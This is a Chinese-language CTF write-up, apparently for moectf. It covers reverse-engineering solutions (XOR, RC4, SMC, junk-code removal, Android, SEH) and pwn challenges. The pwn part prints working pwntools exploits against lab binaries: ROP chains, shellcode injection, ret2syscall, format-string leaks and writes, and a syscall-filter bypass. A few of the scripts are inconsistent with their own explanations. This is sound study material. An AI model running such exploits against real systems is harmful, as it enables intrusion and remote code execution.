Re
入门指北
IDA打开,查看字符串即可
base64
在线反编译
base64变表
UPX!
先脱壳,找到main(先双击字符串,再交叉应用,再tab)
密文
还是简单异或
Xor
看程序异或一步到位
Android
这一部分将array0填充为enc,array1填充为key
往下找到两个列表,一个是密文
一个是key
加密过程找不到,gpt也不知道,只能盲猜是循环异或,果然
补充
用GDA打开,加密函数在这里
equation
解方程
这里需要注意,文件名别写成python库的名字,不然会被当成是一个库而报错
一堆方程
注意v4,v5,v6,v7空间连续,而且v5,v6,v7一开始都没有具体数值
双击进去看到的是栈空间
从内存看16+14=30刚好符合输入
看汇编就是连续写下来,直接去翻译SHIBYTE会有点问题,估计是反编译不行
也可以直接去改数组长度
接下来就是提取方程加gpt了
人傻了,之前z3死活装不上,现在重新安装又好了,估计是版本更新了,说明之前不行的还是可以去试一下
RRRRRc4
题目说是common 算法
了解rc4就知道,a5是key
key,动调才能获得
最后的密文,这里注意因为明文长度是37,所以后面0x00没有用
放大厨
SMC
找到异或(SMC的特征),后面调用了4014D0这个函数,那就是SMC了
去脚本命令那里输入对应脚本
把黄色部分按转成代码
最后在4014D处按p生成函数,f5
后面部分只是判断是否成功,所以直接写脚本
junk_node
https://www.nssctf.cn/note/set/537
基本的去花指令,不懂可以看上面链接
去花指令后变这样
输入长度为36,这是前半部分
后半部分
这是正确答案,吗?
不对,交了好几次都错了,中间语法也不对,于是开始怀疑是不是读的数据错了
果然,是‘9’而不是0x9,nnd
1
| moectf{y0u_rem0v3d_th3_junk_c0d3!!!}
|
ezAndroid
loadLibrary加载so库,具体实现在ezandroid
public native 修饰check,native层逆向
长度是23
jadx的
去解压缩原文件,去lib里找到.so
函数并不多,发现这个,那就是迷宫
1
| moectf{ssaassssdddddwwddddwwaa}
|
如果用64位去分析
看到了sub_17F0(v4, (__int64)”com/doctor3/ezandroid/MainActivity”);后,我们可以大胆猜测这个函数是FindClass函数,v4应该是jni_env,然后直接猜测是动态注册,点开sub_1820的第三个参数
发现了check函数,说明猜的是对的
GUI-1
windows api 主要是一个界面验证,开始找验证过程
看到这里心里有个数,这个条件很可能是判断的点所以再次跟进(当然也可以先验证a2和a4这两个数是干嘛的)
到这里就比较明显了,大概意思就是两块内存地址比较(ida给的是伪代码,大都描述的是内存关系,这一点和平常写的c区别还是比较大的)这里*a1其实就是一块连续的内存地址也是数组,a3是长度,动调验证一下
这里是a2==a4那里的a2的值
这里是a4的值,验证的逻辑是对的所以密文长度0x1e也就是30
看到输入被加密后的明文
疑似密文的地址看这里是不是一直不变,后来测试确实是密文(无论怎样输入就没变过)
1 2 3
| str1 = [ 57, 59, 49, 15, 62, 48, 39, 19, 1, 125, 112, 112, 3, 125, 56, 14, 122, 35, 124, 11, 26, 60, 125, 57, 127, 60, 77, 77, 77, 41]
|
看起来加密不像是算法加密,常见的几种会随着输入的次序变化加密后的数据也会变化,这里偷个懒直接不看加密函数直接把常见可见字符输入进去拿到他加密后的数据然后根据密文对应
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| str1 = [ 57, 59, 49, 15, 62, 48, 39, 19, 1, 125, 112, 112, 3, 125, 56, 14, 122, 35, 124, 11, 26, 60, 125, 57, 127, 60, 77, 77, 77, 41] din = [13, 12, 15, 14, 49, 48, 51, 50, 53, 52, 55, 54, 57, 56, 59, 58, 61, 60, 63, 62, 33, 32, 35, 34, 37, 36, 119, 121, 123, 77,109, 108, 111, 110, 17, 16, 19, 18, 21, 20, 23,22, 25, 24, 27, 26, 29, 28, 31, 30, 1, 0, 2, 5, 4, 102, 104, 113, 8, 112, 116, 79, 115, 120, 122, 125, 124, 127, 126, 97, 96, 99, 98, 101,39,41,3,11] op = "" dic = "abcdefghijklmnopqrstuvwxyz+-/!ABCDEFGHIJKLMNOPQRSTUVXYZ<>%^&*#'.0123456789{}W_" for i in (str1): n = 0 while i!=din[n]: n+=1 op+=dic[n] print(op) #moectf{GU1&&W1nd0w2_Pr1m3r!!!}
|
lpfnWndProc是一个指向窗口过程函数的指针,说明是主要流程
GetWindowTextW这个api可以获取输入在编辑框的内容
但比较的v6和v7并不是输入的,所以和之前的不太一样
跟进 sub_450A0A,是⼀个线性变换
观察到这里有WORD*和上⾯的GetWindowTextW,可以猜测是Unicode存储的数据
还有一点,上面的a91很奇怪
去看里面的函数确实很绕,但是可以直接看变量,这里直接就是密文
中间的0删掉
Rust-1
用侧信道解决,信道就是信息传输的通道,比较差的信道有信息的泄漏,所以叫侧信道
侧信道攻击,核心思想是通过加密软件或硬件运行时产生的各种泄漏信息获取密文信息
找算法好像得死磕,找那些有用的信息就行,还是能看到length这种关键词的
这里是xor0x88
这个就类似省赛简单题,和上次羊城杯的go差不多
unwind-1
总体就是看汇编

触发了一个读写非法地址异常
filter为1表示全局展开,调用 RtlUnwind,RtlUnwind 又会起一个 EH4_EXCEPTION_REGISTRATION->Handler,也就是这里的 loc_415928__except 块
tea
四次tea之后又是一个except
去看有int 3触发调试异常
出题人在这里插入了一个异常链表的节点,这个节点里的 loc_4112FD 函数第一次被 RtlDispatchException 调用,紧接着在栈展开时又被调用一次,也就是说后半部分执行两次
loc_415995 处的 except 块,这个块的工作正是逐个检查输入值是否正确
密文在此处,直接是常量
超过128的dev不行但vs会自动处理
Pwn
test_nc
ls没看到flag,cat gift发现有隐藏文件,ls -a即可发现flag
baby_calculator
问gpt再自己修改一下脚本就行,毕竟有些函数不会用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import *
host = '127.0.0.1' port = 35379 num_rounds = 100
p = remote(host, port)
for _ in range(num_rounds):
equation = p.recvline().strip().decode() print("Equation:", equation)
parts = equation.split() operand1 = int(parts[0]) operator = parts[1] operand2 = int(parts[2])
if operator == '+': result = operand1 + operand2
if int(p.recvline().strip().decode()) == result: p.sendline(b"BlackBird") else: p.sendline(b"WingS")
response = p.recvline().strip().decode() print("Response:", response)
p.close()
|
fd
一开始还在想怎么获取远程的fd,尧哥说远程的用read读不了,fd是读一个文件加1,0是标准输入,1是标准输出,2是标准错误,也就是说打开的第一个文件fd=3
dup2把fd赋给new_fd,又把fd关了,所以最后要通过new_fd来打开flag
int_overflow
一开始还在研究怎么溢出,在看v1和v2在栈中的位置,后来一想,直接让n足够大溢出成负数就可以直接执行后门函数了,而且n的长度也可以到32,足够了
strchr(str,c):str中寻找字符c,找到返回c第一次出现的位置,没找到返回NULL
n从0~2147483647再到-2147483648,最后要到-114514,那么就是2147483647+1+-114514-(-2147483648)=4294852782
ret2text_32
学了就能做,这次比赛看了一眼,简单ret2系列的还是挺全的,刚好以后给新生用来练习了
有个问题是scanf读入的参数是read的长度,此外参数要10进制,一开始写16进制,挣扎了一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import *
p=process('./pwn')
sys_addr=0x8049070 bin_addr=0x804c02c
p.recv() payload1=b'108' p.sendline(payload1) p.recvline() payload2=b'A'*(0x58+4)+p32(sys_addr)+b'A'*4+p32(bin_addr) p.sendline(payload2) p.interactive()
|
ret2text_64
gadget
ret_addr的位置填垃圾数据打不通,以后再遇到这种ROP,用ret地址更保险
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context(os='linux',arch='amd64',log_level='debug')
p=remote('127.0.0.1',33673)
sys_addr=0x401090 bin_addr=0x404050 pop_rdi_ret=0x4011be ret_addr=0x40101a
p.recv() payload1=b'120' p.sendline(payload1) p.recvline() payload2=b'A'*(80+8)+p64(ret_addr)+p64(pop_rdi_ret)+p64(bin_addr)+p64(sys_addr) p.sendline(payload2) p.interactive()
|
shellcode_level0
虽然开了PIE,但是有RWX
栈上直接有RWX,算是简单版shellcode
main函数反编译不了,但是有gets
shellcode_level1
一开始看到paper1高亮,还以为paper1可以打通,结果整个程序都没有完整的rwx权限
mmap用来内存映射,mprotect用来修改一段指定内存的权限
7表示全部权限
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * context(os='linux',arch='amd64',log_level='debug') p=process('./shellcode_level1')
elf=ELF('./shellcode_level1')
shellcode=asm(shellcraft.amd64.sh())
p.sendlineafter("choose?",'4') payload=shellcode.ljust(0xf8,b'A') p.sendlineafter("write?",payload) p.interactive()
|
uninitialized_key
以为是整数溢出,传负数进去还是负数
直接输key不行,位数不够
调试发现age和key都先存到rdi,直接看ebp也是都减8h
所以第一次传入114514即可,第二次随便输一个非数字字符即可,反正不会被读入
打开flag文件写到了栈上,那就把栈里面的东西全部泄露出来
这里导入一个struct的库来实现小端序字符串转化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * import struct
p = remote('127.0.0.1', 37661)
context(arch="amd64", os="linux", log_level="debug")
def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): return p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
sla(":", b'%x'*80)
rl(b'ff')
a = p.recv(2)
flag = "" for i in range(16): data = int(p.recv(8), 16) s = struct.pack('<I', data) f = s.decode('latin-1') flag += f
print(flag)
p.interactive()
|
是第七个参数
一定范围内的全部泄露出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import *
parent_path = "/home/user/temp/" context(os="linux", arch="amd64")
offset = 7 flag = "" for i in range(0, 20): sh = remote("localhost", 44129) sh.sendline(b'%' + str(i + offset).encode() + b'$p') try: sh.recvuntil(b'0x') except EOFError as e: break d = int(sh.recv()[:8], 16) for j in range(4): flag += chr(d & 0xff) d >>= 8 print(flag)
|
PIE
vuln的地址被随机化了
但变化的只是低三位,还是可以根据低三位找到基址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import *
filename='./pwn' elf=ELF(filename) context(arch=elf.arch,os='linux',log_level='debug') io=process(filename)
def s(a): io.send(a) def ru(a): io.recvuntil(a) def debug(): gdb.attach(io) def inter(): io.interactive()
backdoor=0x11d8 bin_sh=0x4010 pop_rdi=0x1323
ru("Vuln's address is:") vuln=int(io.recv()[2:14],16) base=vuln-elf.symbols['vuln'] print('base:',hex(base))
payload=b'a'*0x58+p64(base+pop_rdi)+p64(base+bin_sh)+p64(base+backdoor) s(payload) inter()
|
ret2libc
板子题,ret2libc3
ret2libc考的不是exp而是攻击的耐心,亲自测试哪怕用宽带也会出现有时可以打通有时卡住的情况
还有一个就是远程的libc版本,本着交集最多原则,本题首先排除3,2.35最多先试,再者就是ubuntu3,接下来就看运气了
ret2syscall
syscall触发的时候会根据rax的值来判断选择什么函数
64位的execve 系统调用号是0x3b,再把bin_sh_addr传到rdi,再给后两个参数rsi和rdx传0,最后调syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * p=process('./ret2syscall')
context(arch="amd64",os="linux",log_level="debug") def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pop_rax_ret=0x40117e pop_rdi_ret=0x401180 bin_sh_addr=0x404040 pop_rsi_rdx=0x401182 sys_addr=0x401185
sla('?',b'A' * 0x48+p64(pop_rax_ret)+p64(0x3b)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(pop_rsi_rdx)+p64(0)*2+p64(sys_addr)) p.interactive()
|
shellcode_level2-1
看不了伪c代码
memset 会清空输入,jz short loc_1250 可以直接跳到执行 shellcode 的命令。而该指令在 ZF=0 时生效。test al, al 为对两数进行位与,结果为 0 时ZF 为 0,否则为 1。需要\x00开头进行绕过,因为byte转换所以\x00转化回去就是0,al 来源于 rax 低 8 位,rax 来源于 s 字符串首位,所以要在payload开头加’\x00’
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import *
context(os="linux",arch="amd64")
io = process("./shellcode_level2")
payload = b'\x00'+ asm(shellcraft.sh()) io.sendline(payload) shellcode=asm('''
mov rax,0 xor rax,rax push 0x3b pop rax xor rdi,rdi mov rdi,0x68732f6e69622f push rdi push rsp pop rdi xor rsi,rsi xor rdx,rdx pop r13 #调整栈 syscall ''') io.interactive()
|
shellcode_level3-1
Shellcode: e8 -> call; e9 -> jmp
由于 call 指令跳转时使用的是相对偏移量, 所以实际上需要填入的地址是 code_addr - givemeshell_addr, 但是又因为 python 理论上是没有数据范围的, 也就是说 python 没有最高位这个说法, 所以需要手动把得到的负数转为对应的 4 字节数字, 也就是 0xffffffff & (givemeshell_addr - code_addr)
1 2 3 4 5 6 7 8
| from pwn import *
io = process("./shellcode_level3")
payload = b"\xE8\x4D\xD1\xFF\xFF"
io.sendline(payload) io.interactive()
|
0x404089 + 5 - 0x4011d6 = 0xffffd148
1 2 3 4
| from pwn import * sh = remote('localhost', 46239) sh.sendline(b'\xe9' + p32(0xffffd148)) sh.interactive()
|
uninitialized_key_plus
这次第一个要传字符串
自动读入第一次输入的最后4个字节
因为数组本身就24位长,所以转化为32位更合适
1 2 3 4 5 6 7
| from pwn import * context(os='linux',arch='amd64',log_level='debug')
p=remote('127.0.0.1',40279) p.sendlineafter(':',b'a'*20+p32(114514)) p.sendlineafter(':',b'\x00') p.interactive()
|
格式化字符串泄露canary
后门由attack函数触发
读入长度有限,偏移为7
这里考的是格式化字符串的修改
1攻击,2沉淀,3交流
3有格式化字符串漏洞
为了打败龙我们可以将龙的血量和攻击都修改为0。找到龙的地址和结构体的组成
hp和atk的偏移
接下来要修改龙的血量,可以在payload的前面写b’%8$n’,刚好4个字符,写入的地址是第八个参数,之前没有打印,所以往内存写入0;或者修改atk高位为1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import* context.log_level = 'debug'
io = process('./format_level1')
def choose(choice): io.recvuntil(b'Your choice: ') io.sendline(str(choice).encode())
def payload1(): choose(3) io.recvuntil(b'Input what you want to talk: ') io.send(b'%8$n'+p32(0x804c00c)) choose(1)
def payload2(): choose(3) io.recvuntil(b'Input what you want to talk: ') io.send(b'%1c%9$nA'+p32(0x804c01b)) choose(1)
payload2()
io.interactive()
|
rePWNes
看到函数名和7个数字,应该是要凑出/bin/sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * context(log_level='debug')
p = process('./rePWNse')
p.recvuntil(b'digits:\n') p.sendline(b'1 9 1 9 8 1 0') p.recvuntil(b'address is:')
binsh = int(p.recvuntil(b'\n')[:-1].decode(),16) print(hex(binsh)) rdi_ret = 0x40168e exe = 0x401296 offset = 0x40 + 8 payload = b'a'*offset + p64(rdi_ret) + p64(binsh) + p64(exe)
p.send(payload)
p.interactive()
|
changeable_shellcode-1
过滤了syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
context(os="linux", arch="amd64") sh = process("./shellcode") parent_path = "/home/user/tmp/"
shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x00'
pay = asm("mov al, 0x05") + asm("mov [0x114514021], al") pay += shellcode print(len(pay))
sh.sendline(shellcode) sh.interactive()
|
可以先把0x050e移入寄存器,再将其移入rip下方即可(rwx段)
1 2 3 4 5 6 7 8 9 10 11 12
| ; 更改后 xor esi, esi push rsi mov rbx, 0x68732f2f6e69622f push rbx push rsp pop rdi imul esi mov al, 0x3b mov cx, 0x050e inc cx mov word ptr [rip], cx
|